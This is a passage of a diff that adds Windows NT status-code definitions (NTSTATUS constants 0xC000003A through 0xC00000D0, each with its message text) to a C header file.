STATUS_OBJECT_PATH_NOT_FOUND ((NTSTATUS)0xC000003AL) + +// +// MessageId: STATUS_OBJECT_PATH_SYNTAX_BAD +// +// MessageText: +// +// Object Path Component was not a directory object. +// +#define STATUS_OBJECT_PATH_SYNTAX_BAD ((NTSTATUS)0xC000003BL) + +// +// MessageId: STATUS_DATA_OVERRUN +// +// MessageText: +// +// {Data Overrun} +// A data overrun error occurred. +// +#define STATUS_DATA_OVERRUN ((NTSTATUS)0xC000003CL) + +// +// MessageId: STATUS_DATA_LATE_ERROR +// +// MessageText: +// +// {Data Late} +// A data late error occurred. +// +#define STATUS_DATA_LATE_ERROR ((NTSTATUS)0xC000003DL) + +// +// MessageId: STATUS_DATA_ERROR +// +// MessageText: +// +// {Data Error} +// An error in reading or writing data occurred. +// +#define STATUS_DATA_ERROR ((NTSTATUS)0xC000003EL) + +// +// MessageId: STATUS_CRC_ERROR +// +// MessageText: +// +// {Bad CRC} +// A cyclic redundancy check (CRC) checksum error occurred. +// +#define STATUS_CRC_ERROR ((NTSTATUS)0xC000003FL) + +// +// MessageId: STATUS_SECTION_TOO_BIG +// +// MessageText: +// +// {Section Too Large} +// The specified section is too big to map the file. +// +#define STATUS_SECTION_TOO_BIG ((NTSTATUS)0xC0000040L) + +// +// MessageId: STATUS_PORT_CONNECTION_REFUSED +// +// MessageText: +// +// The NtConnectPort request is refused. +// +#define STATUS_PORT_CONNECTION_REFUSED ((NTSTATUS)0xC0000041L) + +// +// MessageId: STATUS_INVALID_PORT_HANDLE +// +// MessageText: +// +// The type of port handle is invalid for the operation requested. +// +#define STATUS_INVALID_PORT_HANDLE ((NTSTATUS)0xC0000042L) + +// +// MessageId: STATUS_SHARING_VIOLATION +// +// MessageText: +// +// A file cannot be opened because the share access flags are incompatible. +// +#define STATUS_SHARING_VIOLATION ((NTSTATUS)0xC0000043L) + +// +// MessageId: STATUS_QUOTA_EXCEEDED +// +// MessageText: +// +// Insufficient quota exists to complete the operation +// +#define STATUS_QUOTA_EXCEEDED ((NTSTATUS)0xC0000044L) + +// +// MessageId: STATUS_INVALID_PAGE_PROTECTION +// +// MessageText: +// +// The specified page protection was not valid. +// +#define STATUS_INVALID_PAGE_PROTECTION ((NTSTATUS)0xC0000045L) + +// +// MessageId: STATUS_MUTANT_NOT_OWNED +// +// MessageText: +// +// An attempt to release a mutant object was made by a thread that was not the owner of the mutant object. +// +#define STATUS_MUTANT_NOT_OWNED ((NTSTATUS)0xC0000046L) + +// +// MessageId: STATUS_SEMAPHORE_LIMIT_EXCEEDED +// +// MessageText: +// +// An attempt was made to release a semaphore such that its maximum count would have been exceeded. +// +#define STATUS_SEMAPHORE_LIMIT_EXCEEDED ((NTSTATUS)0xC0000047L) + +// +// MessageId: STATUS_PORT_ALREADY_SET +// +// MessageText: +// +// An attempt to set a processes DebugPort or ExceptionPort was made, but a port already exists in the process or +// an attempt to set a file's CompletionPort made, but a port was already set in the file. +// +#define STATUS_PORT_ALREADY_SET ((NTSTATUS)0xC0000048L) + +// +// MessageId: STATUS_SECTION_NOT_IMAGE +// +// MessageText: +// +// An attempt was made to query image information on a section which does not map an image. +// +#define STATUS_SECTION_NOT_IMAGE ((NTSTATUS)0xC0000049L) + +// +// MessageId: STATUS_SUSPEND_COUNT_EXCEEDED +// +// MessageText: +// +// An attempt was made to suspend a thread whose suspend count was at its maximum. +// +#define STATUS_SUSPEND_COUNT_EXCEEDED ((NTSTATUS)0xC000004AL) + +// +// MessageId: STATUS_THREAD_IS_TERMINATING +// +// MessageText: +// +// An attempt was made to suspend a thread that has begun termination. +// +#define STATUS_THREAD_IS_TERMINATING ((NTSTATUS)0xC000004BL) + +// +// MessageId: STATUS_BAD_WORKING_SET_LIMIT +// +// MessageText: +// +// An attempt was made to set the working set limit to an invalid value (minimum greater than maximum, etc). +// +#define STATUS_BAD_WORKING_SET_LIMIT ((NTSTATUS)0xC000004CL) + +// +// MessageId: STATUS_INCOMPATIBLE_FILE_MAP +// +// MessageText: +// +// A section was created to map a file which is not compatible to an already existing section which maps the same file. +// +#define STATUS_INCOMPATIBLE_FILE_MAP ((NTSTATUS)0xC000004DL) + +// +// MessageId: STATUS_SECTION_PROTECTION +// +// MessageText: +// +// A view to a section specifies a protection which is incompatible with the initial view's protection. +// +#define STATUS_SECTION_PROTECTION ((NTSTATUS)0xC000004EL) + +// +// MessageId: STATUS_EAS_NOT_SUPPORTED +// +// MessageText: +// +// An operation involving EAs failed because the file system does not support EAs. +// +#define STATUS_EAS_NOT_SUPPORTED ((NTSTATUS)0xC000004FL) + +// +// MessageId: STATUS_EA_TOO_LARGE +// +// MessageText: +// +// An EA operation failed because EA set is too large. +// +#define STATUS_EA_TOO_LARGE ((NTSTATUS)0xC0000050L) + +// +// MessageId: STATUS_NONEXISTENT_EA_ENTRY +// +// MessageText: +// +// An EA operation failed because the name or EA index is invalid. +// +#define STATUS_NONEXISTENT_EA_ENTRY ((NTSTATUS)0xC0000051L) + +// +// MessageId: STATUS_NO_EAS_ON_FILE +// +// MessageText: +// +// The file for which EAs were requested has no EAs. +// +#define STATUS_NO_EAS_ON_FILE ((NTSTATUS)0xC0000052L) + +// +// MessageId: STATUS_EA_CORRUPT_ERROR +// +// MessageText: +// +// The EA is corrupt and non-readable. +// +#define STATUS_EA_CORRUPT_ERROR ((NTSTATUS)0xC0000053L) + +// +// MessageId: STATUS_FILE_LOCK_CONFLICT +// +// MessageText: +// +// A requested read/write cannot be granted due to a conflicting file lock. +// +#define STATUS_FILE_LOCK_CONFLICT ((NTSTATUS)0xC0000054L) + +// +// MessageId: STATUS_LOCK_NOT_GRANTED +// +// MessageText: +// +// A requested file lock cannot be granted due to other existing locks. +// +#define STATUS_LOCK_NOT_GRANTED ((NTSTATUS)0xC0000055L) + +// +// MessageId: STATUS_DELETE_PENDING +// +// MessageText: +// +// A non close operation has been requested of a file object with a delete pending. +// +#define STATUS_DELETE_PENDING ((NTSTATUS)0xC0000056L) + +// +// MessageId: STATUS_CTL_FILE_NOT_SUPPORTED +// +// MessageText: +// +// An attempt was made to set the control attribute on a file. This attribute is not supported in the target file system. +// +#define STATUS_CTL_FILE_NOT_SUPPORTED ((NTSTATUS)0xC0000057L) + +// +// MessageId: STATUS_UNKNOWN_REVISION +// +// MessageText: +// +// Indicates a revision number encountered or specified is not one known by the service. It may be a more recent revision than the service is aware of. +// +#define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L) + +// +// MessageId: STATUS_REVISION_MISMATCH +// +// MessageText: +// +// Indicates two revision levels are incompatible. +// +#define STATUS_REVISION_MISMATCH ((NTSTATUS)0xC0000059L) + +// +// MessageId: STATUS_INVALID_OWNER +// +// MessageText: +// +// Indicates a particular Security ID may not be assigned as the owner of an object. +// +#define STATUS_INVALID_OWNER ((NTSTATUS)0xC000005AL) + +// +// MessageId: STATUS_INVALID_PRIMARY_GROUP +// +// MessageText: +// +// Indicates a particular Security ID may not be assigned as the primary group of an object. +// +#define STATUS_INVALID_PRIMARY_GROUP ((NTSTATUS)0xC000005BL) + +// +// MessageId: STATUS_NO_IMPERSONATION_TOKEN +// +// MessageText: +// +// An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client. +// +#define STATUS_NO_IMPERSONATION_TOKEN ((NTSTATUS)0xC000005CL) + +// +// MessageId: STATUS_CANT_DISABLE_MANDATORY +// +// MessageText: +// +// A mandatory group may not be disabled. +// +#define STATUS_CANT_DISABLE_MANDATORY ((NTSTATUS)0xC000005DL) + +// +// MessageId: STATUS_NO_LOGON_SERVERS +// +// MessageText: +// +// There are currently no logon servers available to service the logon request. +// +#define STATUS_NO_LOGON_SERVERS ((NTSTATUS)0xC000005EL) + +// +// MessageId: STATUS_NO_SUCH_LOGON_SESSION +// +// MessageText: +// +// A specified logon session does not exist. It may already have been terminated. +// +#define STATUS_NO_SUCH_LOGON_SESSION ((NTSTATUS)0xC000005FL) + +// +// MessageId: STATUS_NO_SUCH_PRIVILEGE +// +// MessageText: +// +// A specified privilege does not exist. +// +#define STATUS_NO_SUCH_PRIVILEGE ((NTSTATUS)0xC0000060L) + +// +// MessageId: STATUS_PRIVILEGE_NOT_HELD +// +// MessageText: +// +// A required privilege is not held by the client. +// +#define STATUS_PRIVILEGE_NOT_HELD ((NTSTATUS)0xC0000061L) + +// +// MessageId: STATUS_INVALID_ACCOUNT_NAME +// +// MessageText: +// +// The name provided is not a properly formed account name. +// +#define STATUS_INVALID_ACCOUNT_NAME ((NTSTATUS)0xC0000062L) + +// +// MessageId: STATUS_USER_EXISTS +// +// MessageText: +// +// The specified user already exists. +// +#define STATUS_USER_EXISTS ((NTSTATUS)0xC0000063L) + +// +// MessageId: STATUS_NO_SUCH_USER +// +// MessageText: +// +// The specified user does not exist. +// +#define STATUS_NO_SUCH_USER ((NTSTATUS)0xC0000064L) // ntsubauth + +// +// MessageId: STATUS_GROUP_EXISTS +// +// MessageText: +// +// The specified group already exists. +// +#define STATUS_GROUP_EXISTS ((NTSTATUS)0xC0000065L) + +// +// MessageId: STATUS_NO_SUCH_GROUP +// +// MessageText: +// +// The specified group does not exist. +// +#define STATUS_NO_SUCH_GROUP ((NTSTATUS)0xC0000066L) + +// +// MessageId: STATUS_MEMBER_IN_GROUP +// +// MessageText: +// +// The specified user account is already in the specified group account. +// Also used to indicate a group cannot be deleted because it contains a member. +// +#define STATUS_MEMBER_IN_GROUP ((NTSTATUS)0xC0000067L) + +// +// MessageId: STATUS_MEMBER_NOT_IN_GROUP +// +// MessageText: +// +// The specified user account is not a member of the specified group account. +// +#define STATUS_MEMBER_NOT_IN_GROUP ((NTSTATUS)0xC0000068L) + +// +// MessageId: STATUS_LAST_ADMIN +// +// MessageText: +// +// Indicates the requested operation would disable or delete the last remaining administration account. +// This is not allowed to prevent creating a situation in which the system cannot be administrated. +// +#define STATUS_LAST_ADMIN ((NTSTATUS)0xC0000069L) + +// +// MessageId: STATUS_WRONG_PASSWORD +// +// MessageText: +// +// When trying to update a password, this return status indicates that the value provided as the current password is not correct. +// +#define STATUS_WRONG_PASSWORD ((NTSTATUS)0xC000006AL) // ntsubauth + +// +// MessageId: STATUS_ILL_FORMED_PASSWORD +// +// MessageText: +// +// When trying to update a password, this return status indicates that the value provided for the new password contains values that are not allowed in passwords. +// +#define STATUS_ILL_FORMED_PASSWORD ((NTSTATUS)0xC000006BL) + +// +// MessageId: STATUS_PASSWORD_RESTRICTION +// +// MessageText: +// +// When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria. +// +#define STATUS_PASSWORD_RESTRICTION ((NTSTATUS)0xC000006CL) // ntsubauth + +// +// MessageId: STATUS_LOGON_FAILURE +// +// MessageText: +// +// The attempted logon is invalid. This is either due to a bad username or authentication information. +// +#define STATUS_LOGON_FAILURE ((NTSTATUS)0xC000006DL) // ntsubauth + +// +// MessageId: STATUS_ACCOUNT_RESTRICTION +// +// MessageText: +// +// Indicates a referenced user name and authentication information are valid, but some user account restriction has prevented successful authentication (such as time-of-day restrictions). +// +#define STATUS_ACCOUNT_RESTRICTION ((NTSTATUS)0xC000006EL) // ntsubauth + +// +// MessageId: STATUS_INVALID_LOGON_HOURS +// +// MessageText: +// +// The user account has time restrictions and may not be logged onto at this time. +// +#define STATUS_INVALID_LOGON_HOURS ((NTSTATUS)0xC000006FL) // ntsubauth + +// +// MessageId: STATUS_INVALID_WORKSTATION +// +// MessageText: +// +// The user account is restricted such that it may not be used to log on from the source workstation. +// +#define STATUS_INVALID_WORKSTATION ((NTSTATUS)0xC0000070L) // ntsubauth + +// +// MessageId: STATUS_PASSWORD_EXPIRED +// +// MessageText: +// +// The user account's password has expired. +// +#define STATUS_PASSWORD_EXPIRED ((NTSTATUS)0xC0000071L) // ntsubauth + +// +// MessageId: STATUS_ACCOUNT_DISABLED +// +// MessageText: +// +// The referenced account is currently disabled and may not be logged on to. +// +#define STATUS_ACCOUNT_DISABLED ((NTSTATUS)0xC0000072L) // ntsubauth + +// +// MessageId: STATUS_NONE_MAPPED +// +// MessageText: +// +// None of the information to be translated has been translated. +// +#define STATUS_NONE_MAPPED ((NTSTATUS)0xC0000073L) + +// +// MessageId: STATUS_TOO_MANY_LUIDS_REQUESTED +// +// MessageText: +// +// The number of LUIDs requested may not be allocated with a single allocation. +// +#define STATUS_TOO_MANY_LUIDS_REQUESTED ((NTSTATUS)0xC0000074L) + +// +// MessageId: STATUS_LUIDS_EXHAUSTED +// +// MessageText: +// +// Indicates there are no more LUIDs to allocate. +// +#define STATUS_LUIDS_EXHAUSTED ((NTSTATUS)0xC0000075L) + +// +// MessageId: STATUS_INVALID_SUB_AUTHORITY +// +// MessageText: +// +// Indicates the sub-authority value is invalid for the particular use. +// +#define STATUS_INVALID_SUB_AUTHORITY ((NTSTATUS)0xC0000076L) + +// +// MessageId: STATUS_INVALID_ACL +// +// MessageText: +// +// Indicates the ACL structure is not valid. +// +#define STATUS_INVALID_ACL ((NTSTATUS)0xC0000077L) + +// +// MessageId: STATUS_INVALID_SID +// +// MessageText: +// +// Indicates the SID structure is not valid. +// +#define STATUS_INVALID_SID ((NTSTATUS)0xC0000078L) + +// +// MessageId: STATUS_INVALID_SECURITY_DESCR +// +// MessageText: +// +// Indicates the SECURITY_DESCRIPTOR structure is not valid. +// +#define STATUS_INVALID_SECURITY_DESCR ((NTSTATUS)0xC0000079L) + +// +// MessageId: STATUS_PROCEDURE_NOT_FOUND +// +// MessageText: +// +// Indicates the specified procedure address cannot be found in the DLL. +// +#define STATUS_PROCEDURE_NOT_FOUND ((NTSTATUS)0xC000007AL) + +// +// MessageId: STATUS_INVALID_IMAGE_FORMAT +// +// MessageText: +// +// {Bad Image} +// The application or DLL %hs is not a valid Windows image. Please check this against your installation diskette. +// +#define STATUS_INVALID_IMAGE_FORMAT ((NTSTATUS)0xC000007BL) + +// +// MessageId: STATUS_NO_TOKEN +// +// MessageText: +// +// An attempt was made to reference a token that doesn't exist. +// This is typically done by referencing the token associated with a thread when the thread is not impersonating a client. +// +#define STATUS_NO_TOKEN ((NTSTATUS)0xC000007CL) + +// +// MessageId: STATUS_BAD_INHERITANCE_ACL +// +// MessageText: +// +// Indicates that an attempt to build either an inherited ACL or ACE was not successful. +// This can be caused by a number of things. One of the more probable causes is the replacement of a CreatorId with an SID that didn't fit into the ACE or ACL. +// +#define STATUS_BAD_INHERITANCE_ACL ((NTSTATUS)0xC000007DL) + +// +// MessageId: STATUS_RANGE_NOT_LOCKED +// +// MessageText: +// +// The range specified in NtUnlockFile was not locked. +// +#define STATUS_RANGE_NOT_LOCKED ((NTSTATUS)0xC000007EL) + +// +// MessageId: STATUS_DISK_FULL +// +// MessageText: +// +// An operation failed because the disk was full. +// +#define STATUS_DISK_FULL ((NTSTATUS)0xC000007FL) + +// +// MessageId: STATUS_SERVER_DISABLED +// +// MessageText: +// +// The GUID allocation server is [already] disabled at the moment. +// +#define STATUS_SERVER_DISABLED ((NTSTATUS)0xC0000080L) + +// +// MessageId: STATUS_SERVER_NOT_DISABLED +// +// MessageText: +// +// The GUID allocation server is [already] enabled at the moment. +// +#define STATUS_SERVER_NOT_DISABLED ((NTSTATUS)0xC0000081L) + +// +// MessageId: STATUS_TOO_MANY_GUIDS_REQUESTED +// +// MessageText: +// +// Too many GUIDs were requested from the allocation server at once. +// +#define STATUS_TOO_MANY_GUIDS_REQUESTED ((NTSTATUS)0xC0000082L) + +// +// MessageId: STATUS_GUIDS_EXHAUSTED +// +// MessageText: +// +// The GUIDs could not be allocated because the Authority Agent was exhausted. +// +#define STATUS_GUIDS_EXHAUSTED ((NTSTATUS)0xC0000083L) + +// +// MessageId: STATUS_INVALID_ID_AUTHORITY +// +// MessageText: +// +// The value provided was an invalid value for an identifier authority. +// +#define STATUS_INVALID_ID_AUTHORITY ((NTSTATUS)0xC0000084L) + +// +// MessageId: STATUS_AGENTS_EXHAUSTED +// +// MessageText: +// +// There are no more authority agent values available for the given identifier authority value. +// +#define STATUS_AGENTS_EXHAUSTED ((NTSTATUS)0xC0000085L) + +// +// MessageId: STATUS_INVALID_VOLUME_LABEL +// +// MessageText: +// +// An invalid volume label has been specified. +// +#define STATUS_INVALID_VOLUME_LABEL ((NTSTATUS)0xC0000086L) + +// +// MessageId: STATUS_SECTION_NOT_EXTENDED +// +// MessageText: +// +// A mapped section could not be extended. +// +#define STATUS_SECTION_NOT_EXTENDED ((NTSTATUS)0xC0000087L) + +// +// MessageId: STATUS_NOT_MAPPED_DATA +// +// MessageText: +// +// Specified section to flush does not map a data file. +// +#define STATUS_NOT_MAPPED_DATA ((NTSTATUS)0xC0000088L) + +// +// MessageId: STATUS_RESOURCE_DATA_NOT_FOUND +// +// MessageText: +// +// Indicates the specified image file did not contain a resource section. +// +#define STATUS_RESOURCE_DATA_NOT_FOUND ((NTSTATUS)0xC0000089L) + +// +// MessageId: STATUS_RESOURCE_TYPE_NOT_FOUND +// +// MessageText: +// +// Indicates the specified resource type cannot be found in the image file. +// +#define STATUS_RESOURCE_TYPE_NOT_FOUND ((NTSTATUS)0xC000008AL) + +// +// MessageId: STATUS_RESOURCE_NAME_NOT_FOUND +// +// MessageText: +// +// Indicates the specified resource name cannot be found in the image file. +// +#define STATUS_RESOURCE_NAME_NOT_FOUND ((NTSTATUS)0xC000008BL) + +// +// MessageId: STATUS_TOO_MANY_PAGING_FILES +// +// MessageText: +// +// An attempt was made to install more paging files than the system supports. +// +#define STATUS_TOO_MANY_PAGING_FILES ((NTSTATUS)0xC0000097L) + +// +// MessageId: STATUS_FILE_INVALID +// +// MessageText: +// +// The volume for a file has been externally altered such that the opened file is no longer valid. +// +#define STATUS_FILE_INVALID ((NTSTATUS)0xC0000098L) + +// +// MessageId: STATUS_ALLOTTED_SPACE_EXCEEDED +// +// MessageText: +// +// When a block of memory is allotted for future updates, such as the memory allocated to hold discretionary access control and primary group information, successive updates may exceed the amount of memory originally allotted. +// Since quota may already have been charged to several processes which have handles to the object, it is not reasonable to alter the size of the allocated memory. +// Instead, a request that requires more memory than has been allotted must fail and the STATUS_ALLOTED_SPACE_EXCEEDED error returned. +// +#define STATUS_ALLOTTED_SPACE_EXCEEDED ((NTSTATUS)0xC0000099L) + +// +// MessageId: STATUS_INSUFFICIENT_RESOURCES +// +// MessageText: +// +// Insufficient system resources exist to complete the API. +// +#define STATUS_INSUFFICIENT_RESOURCES ((NTSTATUS)0xC000009AL) // ntsubauth + +// +// MessageId: STATUS_DFS_EXIT_PATH_FOUND +// +// MessageText: +// +// An attempt has been made to open a DFS exit path control file. +// +#define STATUS_DFS_EXIT_PATH_FOUND ((NTSTATUS)0xC000009BL) + +// +// MessageId: STATUS_DEVICE_DATA_ERROR +// +// MessageText: +// +// STATUS_DEVICE_DATA_ERROR +// +#define STATUS_DEVICE_DATA_ERROR ((NTSTATUS)0xC000009CL) + +// +// MessageId: STATUS_DEVICE_NOT_CONNECTED +// +// MessageText: +// +// STATUS_DEVICE_NOT_CONNECTED +// +#define STATUS_DEVICE_NOT_CONNECTED ((NTSTATUS)0xC000009DL) + +// +// MessageId: STATUS_DEVICE_POWER_FAILURE +// +// MessageText: +// +// STATUS_DEVICE_POWER_FAILURE +// +#define STATUS_DEVICE_POWER_FAILURE ((NTSTATUS)0xC000009EL) + +// +// MessageId: STATUS_FREE_VM_NOT_AT_BASE +// +// MessageText: +// +// Virtual memory cannot be freed as base address is not the base of the region and a region size of zero was specified. +// +#define STATUS_FREE_VM_NOT_AT_BASE ((NTSTATUS)0xC000009FL) + +// +// MessageId: STATUS_MEMORY_NOT_ALLOCATED +// +// MessageText: +// +// An attempt was made to free virtual memory which is not allocated. +// +#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L) + +// +// MessageId: STATUS_WORKING_SET_QUOTA +// +// MessageText: +// +// The working set is not big enough to allow the requested pages to be locked. +// +#define STATUS_WORKING_SET_QUOTA ((NTSTATUS)0xC00000A1L) + +// +// MessageId: STATUS_MEDIA_WRITE_PROTECTED +// +// MessageText: +// +// {Write Protect Error} +// The disk cannot be written to because it is write protected. +// Please remove the write protection from the volume %hs in drive %hs. +// +#define STATUS_MEDIA_WRITE_PROTECTED ((NTSTATUS)0xC00000A2L) + +// +// MessageId: STATUS_DEVICE_NOT_READY +// +// MessageText: +// +// {Drive Not Ready} +// The drive is not ready for use; its door may be open. +// Please check drive %hs and make sure that a disk is inserted and that the drive door is closed. +// +#define STATUS_DEVICE_NOT_READY ((NTSTATUS)0xC00000A3L) + +// +// MessageId: STATUS_INVALID_GROUP_ATTRIBUTES +// +// MessageText: +// +// The specified attributes are invalid, or incompatible with the attributes for the group as a whole. +// +#define STATUS_INVALID_GROUP_ATTRIBUTES ((NTSTATUS)0xC00000A4L) + +// +// MessageId: STATUS_BAD_IMPERSONATION_LEVEL +// +// MessageText: +// +// A specified impersonation level is invalid. +// Also used to indicate a required impersonation level was not provided. +// +#define STATUS_BAD_IMPERSONATION_LEVEL ((NTSTATUS)0xC00000A5L) + +// +// MessageId: STATUS_CANT_OPEN_ANONYMOUS +// +// MessageText: +// +// An attempt was made to open an Anonymous level token. +// Anonymous tokens may not be opened. +// +#define STATUS_CANT_OPEN_ANONYMOUS ((NTSTATUS)0xC00000A6L) + +// +// MessageId: STATUS_BAD_VALIDATION_CLASS +// +// MessageText: +// +// The validation information class requested was invalid. +// +#define STATUS_BAD_VALIDATION_CLASS ((NTSTATUS)0xC00000A7L) + +// +// MessageId: STATUS_BAD_TOKEN_TYPE +// +// MessageText: +// +// The type of a token object is inappropriate for its attempted use. +// +#define STATUS_BAD_TOKEN_TYPE ((NTSTATUS)0xC00000A8L) + +// +// MessageId: STATUS_BAD_MASTER_BOOT_RECORD +// +// MessageText: +// +// The type of a token object is inappropriate for its attempted use. +// +#define STATUS_BAD_MASTER_BOOT_RECORD ((NTSTATUS)0xC00000A9L) + +// +// MessageId: STATUS_INSTRUCTION_MISALIGNMENT +// +// MessageText: +// +// An attempt was made to execute an instruction at an unaligned address and the host system does not support unaligned instruction references. +// +#define STATUS_INSTRUCTION_MISALIGNMENT ((NTSTATUS)0xC00000AAL) + +// +// MessageId: STATUS_INSTANCE_NOT_AVAILABLE +// +// MessageText: +// +// The maximum named pipe instance count has been reached. +// +#define STATUS_INSTANCE_NOT_AVAILABLE ((NTSTATUS)0xC00000ABL) + +// +// MessageId: STATUS_PIPE_NOT_AVAILABLE +// +// MessageText: +// +// An instance of a named pipe cannot be found in the listening state. +// +#define STATUS_PIPE_NOT_AVAILABLE ((NTSTATUS)0xC00000ACL) + +// +// MessageId: STATUS_INVALID_PIPE_STATE +// +// MessageText: +// +// The named pipe is not in the connected or closing state. +// +#define STATUS_INVALID_PIPE_STATE ((NTSTATUS)0xC00000ADL) + +// +// MessageId: STATUS_PIPE_BUSY +// +// MessageText: +// +// The specified pipe is set to complete operations and there are current I/O operations queued so it cannot be changed to queue operations. +// +#define STATUS_PIPE_BUSY ((NTSTATUS)0xC00000AEL) + +// +// MessageId: STATUS_ILLEGAL_FUNCTION +// +// MessageText: +// +// The specified handle is not open to the server end of the named pipe. +// +#define STATUS_ILLEGAL_FUNCTION ((NTSTATUS)0xC00000AFL) + +// +// MessageId: STATUS_PIPE_DISCONNECTED +// +// MessageText: +// +// The specified named pipe is in the disconnected state. +// +#define STATUS_PIPE_DISCONNECTED ((NTSTATUS)0xC00000B0L) + +// +// MessageId: STATUS_PIPE_CLOSING +// +// MessageText: +// +// The specified named pipe is in the closing state. +// +#define STATUS_PIPE_CLOSING ((NTSTATUS)0xC00000B1L) + +// +// MessageId: STATUS_PIPE_CONNECTED +// +// MessageText: +// +// The specified named pipe is in the connected state. +// +#define STATUS_PIPE_CONNECTED ((NTSTATUS)0xC00000B2L) + +// +// MessageId: STATUS_PIPE_LISTENING +// +// MessageText: +// +// The specified named pipe is in the listening state. +// +#define STATUS_PIPE_LISTENING ((NTSTATUS)0xC00000B3L) + +// +// MessageId: STATUS_INVALID_READ_MODE +// +// MessageText: +// +// The specified named pipe is not in message mode. +// +#define STATUS_INVALID_READ_MODE ((NTSTATUS)0xC00000B4L) + +// +// MessageId: STATUS_IO_TIMEOUT +// +// MessageText: +// +// {Device Timeout} +// The specified I/O operation on %hs was not completed before the time-out period expired. +// +#define STATUS_IO_TIMEOUT ((NTSTATUS)0xC00000B5L) + +// +// MessageId: STATUS_FILE_FORCED_CLOSED +// +// MessageText: +// +// The specified file has been closed by another process. +// +#define STATUS_FILE_FORCED_CLOSED ((NTSTATUS)0xC00000B6L) + +// +// MessageId: STATUS_PROFILING_NOT_STARTED +// +// MessageText: +// +// Profiling not started. +// +#define STATUS_PROFILING_NOT_STARTED ((NTSTATUS)0xC00000B7L) + +// +// MessageId: STATUS_PROFILING_NOT_STOPPED +// +// MessageText: +// +// Profiling not stopped. +// +#define STATUS_PROFILING_NOT_STOPPED ((NTSTATUS)0xC00000B8L) + +// +// MessageId: STATUS_COULD_NOT_INTERPRET +// +// MessageText: +// +// The passed ACL did not contain the minimum required information. +// +#define STATUS_COULD_NOT_INTERPRET ((NTSTATUS)0xC00000B9L) + +// +// MessageId: STATUS_FILE_IS_A_DIRECTORY +// +// MessageText: +// +// The file that was specified as a target is a directory and the caller specified that it could be anything but a directory. +// +#define STATUS_FILE_IS_A_DIRECTORY ((NTSTATUS)0xC00000BAL) + +// +// Network specific errors. +// +// +// +// MessageId: STATUS_NOT_SUPPORTED +// +// MessageText: +// +// The request is not supported. +// +#define STATUS_NOT_SUPPORTED ((NTSTATUS)0xC00000BBL) + +// +// MessageId: STATUS_REMOTE_NOT_LISTENING +// +// MessageText: +// +// This remote computer is not listening. +// +#define STATUS_REMOTE_NOT_LISTENING ((NTSTATUS)0xC00000BCL) + +// +// MessageId: STATUS_DUPLICATE_NAME +// +// MessageText: +// +// A duplicate name exists on the network. +// +#define STATUS_DUPLICATE_NAME ((NTSTATUS)0xC00000BDL) + +// +// MessageId: STATUS_BAD_NETWORK_PATH +// +// MessageText: +// +// The network path cannot be located. +// +#define STATUS_BAD_NETWORK_PATH ((NTSTATUS)0xC00000BEL) + +// +// MessageId: STATUS_NETWORK_BUSY +// +// MessageText: +// +// The network is busy. +// +#define STATUS_NETWORK_BUSY ((NTSTATUS)0xC00000BFL) + +// +// MessageId: STATUS_DEVICE_DOES_NOT_EXIST +// +// MessageText: +// +// This device does not exist. +// +#define STATUS_DEVICE_DOES_NOT_EXIST ((NTSTATUS)0xC00000C0L) + +// +// MessageId: STATUS_TOO_MANY_COMMANDS +// +// MessageText: +// +// The network BIOS command limit has been reached. +// +#define STATUS_TOO_MANY_COMMANDS ((NTSTATUS)0xC00000C1L) + +// +// MessageId: STATUS_ADAPTER_HARDWARE_ERROR +// +// MessageText: +// +// An I/O adapter hardware error has occurred. +// +#define STATUS_ADAPTER_HARDWARE_ERROR ((NTSTATUS)0xC00000C2L) + +// +// MessageId: STATUS_INVALID_NETWORK_RESPONSE +// +// MessageText: +// +// The network responded incorrectly. +// +#define STATUS_INVALID_NETWORK_RESPONSE ((NTSTATUS)0xC00000C3L) + +// +// MessageId: STATUS_UNEXPECTED_NETWORK_ERROR +// +// MessageText: +// +// An unexpected network error occurred. +// +#define STATUS_UNEXPECTED_NETWORK_ERROR ((NTSTATUS)0xC00000C4L) + +// +// MessageId: STATUS_BAD_REMOTE_ADAPTER +// +// MessageText: +// +// The remote adapter is not compatible. +// +#define STATUS_BAD_REMOTE_ADAPTER ((NTSTATUS)0xC00000C5L) + +// +// MessageId: STATUS_PRINT_QUEUE_FULL +// +// MessageText: +// +// The printer queue is full. +// +#define STATUS_PRINT_QUEUE_FULL ((NTSTATUS)0xC00000C6L) + +// +// MessageId: STATUS_NO_SPOOL_SPACE +// +// MessageText: +// +// Space to store the file waiting to be printed is not available on the server. +// +#define STATUS_NO_SPOOL_SPACE ((NTSTATUS)0xC00000C7L) + +// +// MessageId: STATUS_PRINT_CANCELLED +// +// MessageText: +// +// The requested print file has been canceled. +// +#define STATUS_PRINT_CANCELLED ((NTSTATUS)0xC00000C8L) + +// +// MessageId: STATUS_NETWORK_NAME_DELETED +// +// MessageText: +// +// The network name was deleted. +// +#define STATUS_NETWORK_NAME_DELETED ((NTSTATUS)0xC00000C9L) + +// +// MessageId: STATUS_NETWORK_ACCESS_DENIED +// +// MessageText: +// +// Network access is denied. +// +#define STATUS_NETWORK_ACCESS_DENIED ((NTSTATUS)0xC00000CAL) + +// +// MessageId: STATUS_BAD_DEVICE_TYPE +// +// MessageText: +// +// {Incorrect Network Resource Type} +// The specified device type (LPT, for example) conflicts with the actual device type on the remote resource. +// +#define STATUS_BAD_DEVICE_TYPE ((NTSTATUS)0xC00000CBL) + +// +// MessageId: STATUS_BAD_NETWORK_NAME +// +// MessageText: +// +// {Network Name Not Found} +// The specified share name cannot be found on the remote server. +// +#define STATUS_BAD_NETWORK_NAME ((NTSTATUS)0xC00000CCL) + +// +// MessageId: STATUS_TOO_MANY_NAMES +// +// MessageText: +// +// The name limit for the local computer network adapter card was exceeded. +// +#define STATUS_TOO_MANY_NAMES ((NTSTATUS)0xC00000CDL) + +// +// MessageId: STATUS_TOO_MANY_SESSIONS +// +// MessageText: +// +// The network BIOS session limit was exceeded. +// +#define STATUS_TOO_MANY_SESSIONS ((NTSTATUS)0xC00000CEL) + +// +// MessageId: STATUS_SHARING_PAUSED +// +// MessageText: +// +// File sharing has been temporarily paused. +// +#define STATUS_SHARING_PAUSED ((NTSTATUS)0xC00000CFL) + +// +// MessageId: STATUS_REQUEST_NOT_ACCEPTED +// +// MessageText: +// +// No more connections can be made to this remote computer at this time because there are already as many connections as the computer can accept. +// +#define STATUS_REQUEST_NOT_ACCEPTED ((NTSTATUS)0xC00000D0L) + +// +// MessageId: 